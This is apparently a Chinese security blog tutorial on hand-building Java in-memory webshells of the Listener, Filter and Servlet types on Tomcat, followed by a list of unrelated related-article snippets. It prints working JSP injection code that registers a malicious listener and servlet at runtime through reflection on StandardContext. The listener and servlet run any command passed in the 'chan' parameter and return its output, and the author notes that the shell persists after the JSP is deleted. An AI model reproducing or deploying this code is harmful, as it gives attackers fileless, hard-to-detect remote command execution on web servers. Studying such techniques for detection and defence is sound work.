JAVA安全—手搓内存马
前言
最近在学这个内存马,就做一个记录,说实话这个内存马还是有点难度的。
什么是内存马
首先什么是内存马呢,顾名思义就是把木马打进内存中。传统的webshell一旦把文件删除就断开连接了,而Java内存马则不同,它将恶意代码直接加载到内存中运行。因为代码是直接在内存中执行的,它不需要保存到硬盘上,这使得它很难被传统的杀毒软件发现和检测。
内存马的分类
传统的内存马主要分为三类,分别是Servlet型、Filter型、Listener型。我们主要讲的就这三种,其它的也有,但是我不会,哈哈哈。

JAVA Web访问流程
首先我们要了解一下JAVA Web的访问流程,这是我网上找的一张图,哈哈哈。正常我们认为的客户端去请求一个1.jsp文件,然后服务端就直接返回1.jsp,在PHP中也许是这样子,但是在JAVA中其实不是这样的。
1、我们去请求一个1.jsp
2、经过Listener组件,如果存在的话
3、经过Filter组件,如果存在的话
4、此时来到Servlet这个组件,如果服务端存在1.jsp这个文件的话,那么就会去请求相对应的路由
最后就是去访问1.jsp这文件。
从上面我们得知,Listener、Filter这两个组件不一定会经过,但是Servlet这个组件一定会经过,因为Servlet 是 Java Web 开发的核心组件,用于处理 HTTP 请求并生成动态响应。

Listener内存马
接下来手搓一个内存马,这里先创建一个项目,就叫ListenerShell。

我这里选择Java8,选个web服务,点击创建即可。

创建一个类叫Test。

在Web.xml这里配置一个Listener监听器,指向我们的Test文件。

Test里面写入以下的代码,看不懂没关系,就是当你发起请求的时候,Servlet就会被激活,那么此时我们就创建了一个Listener 并输出 requestInitialized ,当请求结束的时候也就会输出requestDestroyed。
public class Test implements ServletRequestListener {@Overridepublic void requestInitialized(ServletRequestEvent arg0) {System.out.println("requestInitialized");ServletRequestListener.super.requestInitialized(arg0);}@Overridepublic void requestDestroyed(ServletRequestEvent arg0) {System.out.println("requestDestroyed");ServletRequestListener.super.requestDestroyed(arg0);}
}
出现这个页面就说明我们运行成功了。

可以看到只要我们一访问运行起来的网址,就会输出上面我们所说的结果,说明我们的请求是经过Listener,最终到达Servlet。

如果我们把输出语句改为命令执行语句,不就实现了一个webshell的功能了吗?我们在原来的输出语句下面添加一个打开计算机的命令。

可以看到只要我一访问那么就会弹出计算机来。

那么实际上,Listener内存马通常是指动态注册一个新的恶意Listener组件,传统javaweb项目的内存马就是创建了个新的Listener、Filter、Servlet这几个东西,其它类型的内存马也是同理。这里要注意一下Java Web容器的Listener机制允许存在多个Listener,Listener内存马不会覆盖原有的Listener组件,新旧Listener会共存并同时生效。
为了搞清楚 listener 是咋把我们创建的类加载到内存中的,我们在下面这个地方下断点进行调试。

选择调试运行,可以看到项目一启动就已经端下来了,我都还没访问网页呢,也就是说先执行 requestInitialized 再去请求网站。

步入我们可以看到这里listener的值为Test,但是Test是怎么来的,我们继续往下分析。

继续步入可以看到 这个 applicationListener 的值为 com.sf.maven.listenershell.Test,说明这时候Listener监听器就已经知道要指向 Test了,同时可以知道 applicationListener 是来源于 CopyOnWriteArrayList。

而 CopyOnWriteArrayList 上级是来源于 context ,这里 context来源于 StandardContext 这个类里面。

这个类是比较关键的,我们可以来看一下它的功能
1、Servlet 和 Filter 管理:StandardContext 负责管理应用程序中的 Servlet 和 Filter 的生命周期。可以添加、移除和配置 Servlet 和 Filter。
2、会话管理:提供会话管理功能,包括会话的创建、销毁和持久化。配置会话超时时间和其他会话相关属性。
3、资源管理:管理应用程序的资源,如 JAR 文件、静态文件等。支持对资源的访问控制和缓存。4、事件监听器:支持注册各种事件监听器,如 ServletContextListener、ServletRequestListener 等。监听并处理应用程序的生命周期事件和请求事件。
5、安全性和认证:提供安全配置选项,包括用户认证、角色授权和安全约束。支持多种认证方式,如基本认证、表单认证等。
6、部署和配置:从 web.xml 或注解中读取和应用配置。支持热部署和自动重新加载。
7、日志记录:提供日志记录功能,方便调试和监控。
重点看第一点和第四点,StandardContext这个类可以注册Servlet、Filter以及各种Listener!!!
而且在StandardContext类里面可以看到一个 addApplicationEventListener 方法,实际上我们上面的Test监听器,就是通过这个方法添加的。

那么接下来我们来要做的就是如何获取StandardContext 这个类的context,直接从网上找的获取代码。
通过request方式获取
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();TestLIstener testLIstener = new TestLIstener();
context.addApplicationEventListener(testLIstener);
%>
通过ServletContext方式获取
<%
//创建ServletContext 为了获取访问的信息的context
ServletContext servletContext = request.getServletContext();//反射调用ApplicationContext#context
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);//反射调用StandardContext#context
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
TestLIstener testLIstener = new TestLIstener();
standardContext.addApplicationEventListener(testLIstener);
%>
通过ContextClassLoader方式获取
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>
到这里估计大家也明白是如何手搓的了,就是定义一个恶意的Listener,再通过StandardContext把监听器注册到内存中去。
下面我就来演示一下,新建一个JSP文件。

这是网上找的恶意Listener,也就是内存马,写入到test1.JSP。
<%//定义了一个恶意的Listenerclass WLWListener implements ServletRequestListener{@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {}@Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {try{RequestFacade requestfacade= (RequestFacade) servletRequestEvent.getServletRequest();Field field = requestfacade.getClass().getDeclaredField("request");field.setAccessible(true);Request lrequest = (Request) field.get(requestfacade);Response lresponse = lrequest.getResponse();if(lrequest.getParameter("chan") != null){Process process = Runtime.getRuntime().exec(lrequest.getParameter("chan"));java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));StringBuilder stringBuilder = new StringBuilder();String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line + '\n');}lresponse.getOutputStream().write(stringBuilder.toString().getBytes());lresponse.getOutputStream().flush();lresponse.getOutputStream().close();return;}}catch(Exception ig){ig.printStackTrace();}}}
%>
这里就是加载代码,去注册我们上面定义好的Listener,同样是去写入到test1.JSP。
<%//通过获取StandardContext类中的context,注册一个新的ListenerField reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext context = (StandardContext) req.getContext();WLWListener wlwListener = new WLWListener();context.addApplicationEventListener(wlwListener);
%>
现在运行项目,访问我们的test1.jsp,可以看到是空白的,但是内存马已经植入成功。

然后执行命令calc,成功弹出计算机!!!

此时我们把内存马删除掉。

可以看到此时是访问不到我们的test1.jsp的。

但是依旧能执行命令,只需重启一下就执行不了命令了。

Filter内存马
同样新建一个项目,流程是和上面一样的,这里我就不多说了,新建一个Test类,写入以下代码。
package com.sf.maven.filtershell;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
public class Test implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("init");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse response, FilterChain chain) throws IOException, ServletException {System.out.println("doFilter");}@Overridepublic void destroy() {System.out.println("destroy");}
}
Web.xml配置如下,运行的时候就会加载这个Test过滤器。
#Filter 过滤器实现:
-web.xml定义name和class
-web.xml定义name和url路由
-编写class下init,doFilter,destroy方法
<filter><filter-name>Test</filter-name><filter-class>com.sf.maven.filtershell.Test</filter-class></filter><filter-mapping><filter-name>Test</filter-name><url-pattern>Test</url-pattern></filter-mapping>
可以看到项目运行起来就输出init,说明init方法被执行了。

有人可能就注意到了,为啥 doFilter 和 destroy方法没有被执行呢,其实是这样的当我们访问 /Test这个路由,我们才会触发这个 filter-name ,而filter-name又绑定了 com.sf.maven.filtershell.Test 这个类。

浏览器访问 /Test。

触发了doFilter。

最后一个 destroy 就是当我们项目结束就会执行。

此时我们来梳理一下流程:
程序运行自动执行init
Servlet获取访问 URL,从 URL 中判断是否匹配路由,如果匹配就执行doFilter
如触发过滤分析 Filter 名称,路由,触发 Class,
则会相应的去执行 init,doFilter,destroy 方法。
结论:触发路由后执行 doFilter,不触发路由也会执行init
断点调试前我们先修改一下路由,改为 /* 意思是只要一访问网站就会触发doFilter。
![]()
doFilter这里设置断点调试,为的就是搞清楚下面两件事情:
1、filter是如何把我们创建的类加载到内存中的
2、我们如何通过java代码把我们自定义的filter类加载到内存中
![]()
我们上面在分析listener的时候,只需控制的是listener这个类传入,那是因为创建listener时我们要配置的信息只有类,但是filter不一样,我们要配置的信息除了类,还有类别名,还有对应的触发访问路由,那么我们想要创建一个filter内存马是不是除了filter对象的传入,还要搞清楚filter别名、filter路由是如何传入的,这就是filter内存马和listener内存马编写的区别。
看这里,filterMaps获取了filterName的值为Test,还有urlPattern的值为 /* ,filterDefs获取了filterClass的值,filterConfigs获取name的值。
也就是说 filterMaps 存放了filter别名和路由,filterDefs 存放了filter类指向和filter别名,filterConfigs 存放了一些配置信息。

filterMaps ,filterDefs,filterConfigs这三个的上级调用是context,context是来自StandardContext这个类。

简单总结一下:
ApplicationFilterConfig用来存储Filter配置信息
StandardContext用来处理 Filter配置信息(有无操作)
而filter创建需要filter类引用、filter别名、对应路由、绑定路由的filter别名、filter实例
对应方法分别是 filterDef#filterclass、filterDef#filtername、filterMap#urlPattern、filterMap#filterName 这里实际上还要传入我们创建的filter实例,这是通过setfilter传入,我们要先配置好这些,把filterDef和filterMap写入StandardContext#context中,然后在filterconfig中有StandardContext#context和filterDef,我们也要添加最后获取filterconfigs,把filterconfig写入,大致的思路就是这样。
那么我们手搓内存马的流程就是:
1、创建filter对象
2、获取StandardContext#context
3、配置filterDef并添加
4、配置filterMap并添加
5、反射创建FilterConfig,传入standardContext与filterDef
6、获取filterConfigs,并且转换成map类型
7、把filter名和配置好的filterConfig传入filterConfings
还是一样新建一个1.jsp,写入以下代码获取所需要的字段,context、filterConfig。

这一部分的代码就是创建一个新的Filter,和上面的Test类一样的,不多讲。

这一部分代码就是配置上诉我们说的东西,名称、Class、url路由。

把Filter注册到内存。

成功弹出计算机,这里要注意执行命令的路径要加上你都路由才行。

Servlet内存马
剩下最后一个了,坚持下去。
老规矩新建一个项目,和上面一模一样,创建一个Test类,写入下面的代码。
package com.sf.maven.servletshell;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class Test extends HttpServlet {@Overridepublic void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {super.service(req,res);System.out.println("service");}@Overrideprotected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {super.doPut(req,resp);System.out.println("doPut");}@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {super.doPut(req,resp);System.out.println("doGet"); }@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {super.doPut(req,resp);System.out.println("dopost");}
}
Web.xml文件配置如下,其实和 Filter 差不多,也都是配置路由,Class。

运行起来后我们随便访问都行,显示405状态。

但是输出了doGet,说明我们调用了doGet这个方法,这里我也不卖关子了,你用post方法去请求URL那么就会调用doPost,输出doPost,doPut方法也是如此。

Servlet 型内存马与 Filter 型内存马类似,都是利用Java 的反射机制和 Tomcat 的 API 在运行时动态注册恶意的组件。Servlet 内存马通过动态注册一个恶意的 Servlet 来接管特定 URL 的请求,从而实现对目标系统的控制。
这里我就不一步一步跟踪了,直接说流程吧:
-
创建servlet
-
获取StandardContext#context
-
创建wrapper并写入servlet信息
-
添加wrapper并添加路由信息
创建一个1.jsp,和上面的Test差不多,只是这里service不是输出了,而是创建一个新的Servlet。
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {HttpServletRequest lrequest = (HttpServletRequest) servletRequest;HttpServletResponse lresponse = (HttpServletResponse) servletResponse;if (lrequest.getParameter("chan") != null){Process process = Runtime.getRuntime().exec(lrequest.getParameter("chan"));java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));StringBuilder stringBuilder = new StringBuilder();String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line + '\n');}lresponse.getOutputStream().write(stringBuilder.toString().getBytes());lresponse.getOutputStream().flush();lresponse.getOutputStream().close();return;}else{lresponse.sendError(HttpServletResponse.SC_NOT_FOUND);}}
这部分和Filter的差不多,都是为了获取StandardContext#context。

这里就是创建wrapper并写入servlet信息,添加wrapper并添加路由信息。

先访问1.jsp注册新的Servlet,在到相对应的路由下面执行命令即可。

总结
至此结束
相关文章:
JAVA安全—手搓内存马
前言 最近在学这个内存马,就做一个记录,说实话这个内存马还是有点难度的。 什么是内存马 首先什么是内存马呢,顾名思义就是把木马打进内存中。传统的webshell一旦把文件删除就断开连接了,而Java内存马则不同,它将恶…...
【神经网络】python实现神经网络(一)——数据集获取
一.概述 在文章【机器学习】一个例子带你了解神经网络是什么中,我们大致了解神经网络的正向信息传导、反向传导以及学习过程的大致流程,现在我们正式开始进行代码的实现,首先我们来实现第一步的运算过程模拟讲解:正向传导。本次代…...
历年湖南大学计算机复试上机真题
历年湖南大学计算机复试机试真题 在线评测:https://app2098.acapp.acwing.com.cn/ 杨辉三角形 题目描述 提到杨辉三角形。 大家应该都很熟悉。 这是我国宋朝数学家杨辉在公元 1261 年著书《详解九章算法》提出的。 1 1 1 1 2 1 1 3 3 1 1 4 6 4 1 1 5 10 10 …...
[LeetCode]day33 150.逆波兰式求表达值 + 239.滑动窗口最大值
逆波兰式求表达值 题目链接 题目描述 给你一个字符串数组 tokens ,表示一个根据 逆波兰表示法 表示的算术表达式。 请你计算该表达式。返回一个表示表达式值的整数。 注意: 有效的算符为 ‘’、‘-’、‘*’ 和 ‘/’ 。 每个操作数(运…...
【银河麒麟高级服务器操作系统实际案例分享】数据库资源重启现象分析及处理全过程
更多银河麒麟操作系统产品及技术讨论,欢迎加入银河麒麟操作系统官方论坛 https://forum.kylinos.cn 了解更多银河麒麟操作系统全新产品,请点击访问 麒麟软件产品专区:https://product.kylinos.cn 开发者专区:https://developer…...
C#中泛型的协变和逆变
协变: 在泛型接口中,使用out关键字可以声明协变。这意味着接口的泛型参数只能作为返回类型出现,而不能作为方法的参数类型。 示例:泛型接口中的协变 假设我们有一个基类Animal和一个派生类Dog: csharp复制 public…...
【JavaScript】《JavaScript高级程序设计 (第4版) 》笔记-附录B-严格模式
附录B、严格模式 严格模式 ECMAScript 5 首次引入严格模式的概念。严格模式用于选择以更严格的条件检查 JavaScript 代码错误,可以应用到全局,也可以应用到函数内部。严格模式的好处是可以提早发现错误,因此可以捕获某些 ECMAScript 问题导致…...
跨平台 C++ 程序崩溃调试与 Dump 文件分析
前言 C 程序在运行时可能会由于 空指针访问、数组越界、非法内存访问、栈溢出 等原因崩溃。为了分析崩溃原因,我们通常会生成 Dump 文件(Windows 的 .dmp,Linux 的 core,macOS 的 .crash),然后用调试工具分…...
缺陷VS质量:为何软件缺陷是质量属性的致命对立面?
为何说缺陷是质量的对立面? 核心逻辑:软件质量的定义是“满足用户需求的程度”,而缺陷会直接破坏这种满足关系。 对立性:缺陷的存在意味着软件偏离了预期行为(如功能错误、性能不足、安全性漏洞等)&#…...
伍[5],伺服电机,电流环,速度环,位置环
电流环、速度环和位置环是电机控制系统中常见的三个闭环控制环节,通常采用嵌套结构(内环→外环:电流环→速度环→位置环),各自负责不同层级的控制目标。以下是它们的详细说明及相互关系: 1. 电流环(最内环) 作用:控制电机的电流,间接控制输出转矩(τ=Kt⋅Iτ=Kt⋅…...
RuntimeError: CUDA error: device-side assert triggered
RuntimeError: CUDA error: device-side assert triggered 欢迎来到英杰社区,这里是博主英杰https://bbs.csdn.net/topics/617804998 原因: cuda运行可能是异步的(asynchronously),因此报错信息中提示的位置可能不准确…...
清华大学Deepseek第六版AIGC发展研究3.0(共186页,附PDF下载)
人工智能生成内容(AIGC)正以前所未有的速度改变我们的生活。 2024年底,清华大学新闻与传播学院与人工智能学院联合发布了《AIGC发展研究3.0版》,这份报告系统梳理了AIGC技术的突破性进展、应用场景及社会影响,并展望了…...
SpringBoot生成唯一ID的方式
1.为什么要生成唯一ID? 数据唯一性:每个记录都需要有一个独一无二的标识符来确保数据的唯一性。这可以避免重复的数据行,并有助于准确地查询、更新或删除特定的记录。 数据完整性:通过使用唯一ID,可以保证数据库中的数…...
通俗易懂的分类算法之K近邻详解
通俗易懂的分类算法之K近邻详解 用最通俗的语言和例子,来彻底理解 K近邻(K-Nearest Neighbors,简称 KNN) 这个分类算法。不用担心复杂的数学公式,我会用生活中的例子来解释,保证你一听就懂! 1.…...
CSDN markdown 操作指令等
CSDN markdown 操作指令等 页内跳转 [内容](#1) <div id"1"> </div>...
【linux】文件与目录命令 - uniq
文章目录 1. 基本用法2. 常用参数3. 用法举例4. 注意事项 uniq 命令用于过滤文本文件中相邻的重复行,并支持统计重复次数或仅保留唯一行。它通常与 sort 命令配合使用,因为 uniq 只识别相邻的重复行。 1. 基本用法 语法: uniq [选项] [输入…...
零信任沙箱:为网络安全筑牢“隔离墙”
在数字化浪潮汹涌澎湃的今天,网络安全如同一艘船在波涛汹涌的大海中航行,面临着重重挑战。数据泄露、恶意软件攻击、网络钓鱼等安全威胁层出不穷,让企业和个人用户防不胜防。而零信任沙箱,就像是一座坚固的“隔离墙”,…...
【金融量化】Ptrade中交易环境支持的业务类型
1. 普通股票买卖 • 特点: 普通股票买卖是最基础的交易形式,投资者通过买入和卖出上市公司的股票来获取收益。 ◦ 流动性高:股票市场交易活跃,买卖方便。 ◦ 收益来源多样:包括股价上涨的资本利得和公司分红。 ◦ 风险…...
【Java---数据结构】链表 LinkedList
1. 链表的概念 链表用于存储一系列元素,由一系列节点组成,每个节点包含两部分:数据域和指针域。 数据域:用于存储数据元素 指针域:用于指向下一个节点的地址,通过指针将各个节点连接在一起,形…...
紧跟 Web3 热潮,RuleOS 如何成为行业新宠?
Web3 热潮正以汹涌之势席卷全球。从金融领域的创新应用到供应链管理的变革,从社交媒体的去中心化尝试到游戏产业的全新玩法探索,Web3 凭借其去中心化、安全性和用户赋权等特性,为各个行业带来了前所未有的机遇。在这股热潮中,Rule…...
深度学习在微纳光子学中的应用
深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向: 逆向设计 通过神经网络快速预测微纳结构的光学响应,替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…...
【Linux】C语言执行shell指令
在C语言中执行Shell指令 在C语言中,有几种方法可以执行Shell指令: 1. 使用system()函数 这是最简单的方法,包含在stdlib.h头文件中: #include <stdlib.h>int main() {system("ls -l"); // 执行ls -l命令retu…...
服务器硬防的应用场景都有哪些?
服务器硬防是指一种通过硬件设备层面的安全措施来防御服务器系统受到网络攻击的方式,避免服务器受到各种恶意攻击和网络威胁,那么,服务器硬防通常都会应用在哪些场景当中呢? 硬防服务器中一般会配备入侵检测系统和预防系统&#x…...
mac 安装homebrew (nvm 及git)
mac 安装nvm 及git 万恶之源 mac 安装这些东西离不开Xcode。及homebrew 一、先说安装git步骤 通用: 方法一:使用 Homebrew 安装 Git(推荐) 步骤如下:打开终端(Terminal.app) 1.安装 Homebrew…...
【Android】Android 开发 ADB 常用指令
查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...
【Linux】自动化构建-Make/Makefile
前言 上文我们讲到了Linux中的编译器gcc/g 【Linux】编译器gcc/g及其库的详细介绍-CSDN博客 本来我们将一个对于编译来说很重要的工具:make/makfile 1.背景 在一个工程中源文件不计其数,其按类型、功能、模块分别放在若干个目录中,mak…...
数学建模-滑翔伞伞翼面积的设计,运动状态计算和优化 !
我们考虑滑翔伞的伞翼面积设计问题以及运动状态描述。滑翔伞的性能主要取决于伞翼面积、气动特性以及飞行员的重量。我们的目标是建立数学模型来描述滑翔伞的运动状态,并优化伞翼面积的设计。 一、问题分析 滑翔伞在飞行过程中受到重力、升力和阻力的作用。升力和阻力与伞翼面…...
用鸿蒙HarmonyOS5实现中国象棋小游戏的过程
下面是一个基于鸿蒙OS (HarmonyOS) 的中国象棋小游戏的实现代码。这个实现使用Java语言和鸿蒙的Ability框架。 1. 项目结构 /src/main/java/com/example/chinesechess/├── MainAbilitySlice.java // 主界面逻辑├── ChessView.java // 游戏视图和逻辑├──…...
数据结构:递归的种类(Types of Recursion)
目录 尾递归(Tail Recursion) 什么是 Loop(循环)? 复杂度分析 头递归(Head Recursion) 树形递归(Tree Recursion) 线性递归(Linear Recursion)…...
Java多线程实现之Runnable接口深度解析
Java多线程实现之Runnable接口深度解析 一、Runnable接口概述1.1 接口定义1.2 与Thread类的关系1.3 使用Runnable接口的优势 二、Runnable接口的基本实现方式2.1 传统方式实现Runnable接口2.2 使用匿名内部类实现Runnable接口2.3 使用Lambda表达式实现Runnable接口 三、Runnabl…...
